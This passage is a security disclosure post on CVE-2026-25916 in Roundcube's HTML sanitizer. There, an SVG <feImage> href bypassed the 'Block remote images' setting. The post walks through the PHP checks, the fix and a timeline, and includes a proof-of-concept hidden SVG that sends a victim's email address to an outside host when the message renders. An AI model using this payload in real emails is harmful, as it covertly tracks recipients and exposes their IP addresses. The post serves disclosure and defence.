1.5.13, 1.6.x \u003c 1.6.13 CVE CVE-2026-25916 Disclosure date 2026-02-08 Background# When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on \u003cimg\u003e, href on \u003cimage\u003e and \u003cuse\u003e) and runs them through is_image_attribute(). That function blocks external URLs.\nSeparately, non-image URLs (like \u003ca href\u003e) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.\nDiscovery# I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.1 So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\n\u003cfeImage\u003e stood out.2 Its href gets fetched on render, same as \u003cimg src\u003e. But the sanitizer sends it through wash_link() instead of is_image_attribute().\nSo the “Block remote images” setting doesn’t apply to it.\nTechnical details# In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:\nrcube_washtml.php\nif ($this-\u003eis_image_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_uri($value, true); // blocks remote URLs } elseif ($this-\u003eis_link_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_link($value); // allows http/https } Before the fix, is_image_attribute() looked like this:\nrcube_washtml.php\nprivate function is_image_attribute($tag, $attr) { return $attr == 'background' || $attr == 'color-profile' || ($attr == 'poster' \u0026\u0026 $tag == 'video') || ($attr == 'src' \u0026\u0026 preg_match('/^(img|image|source|input|video|audio)$/i', $tag)) || ($tag == 'use' \u0026\u0026 $attr == 'href') || ($tag == 'image' \u0026\u0026 $attr == 'href'); } The href attribute is only matched for use and image. No feimage.\nAnd is_link_attribute() is a catch-all3:\nrcube_washtml.php\nprivate function is_link_attribute($tag, $attr) { return $attr === 'href'; } So when the sanitizer encounters \u003cfeImage href=\"https://...\"\u003e: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.\nProof of concept# An invisible 1x1 SVG, positioned off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px;\"\u003e \u003cdefs\u003e \u003cfilter id=\"t\"\u003e \u003cfeImage href=\"https://httpbin.org/image/svg?email=victim@test.com\" width=\"1\" height=\"1\"/\u003e \u003c/filter\u003e \u003c/defs\u003e \u003crect filter=\"url(#t)\" width=\"1\" height=\"1\"/\u003e \u003c/svg\u003e The browser evaluates the SVG filter and fires a GET to the attacker’s URL.\nImpact# The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\nRemediation# The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:\nrcube_washtml.php\n|| ($attr == 'href' \u0026\u0026 preg_match('/^(feimage|image|use)$/i', $tag)); // SVG Now \u003cfeImage href\u003e hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.\nUpdate to 1.5.13 or 1.6.13.\nTimeline# Date Event 2026-01-04 Reported to Roundcube 2026-02-08 1.5.13 and 1.6.13 released 2026-02-08 This post 2026-02-09 CVE-2026-25916 assigned The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked. ↩︎\nIt’s an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this. ↩︎\nThis matches href on every element, including \u003cfeImage\u003e. That’s the root cause. ↩︎\n","date_published":"2026-02-08T00:00:00Z","date_modified":"2026-02-09T00:00:00Z","tags":["vulnerability","roundcube","svg","email-security"]}]}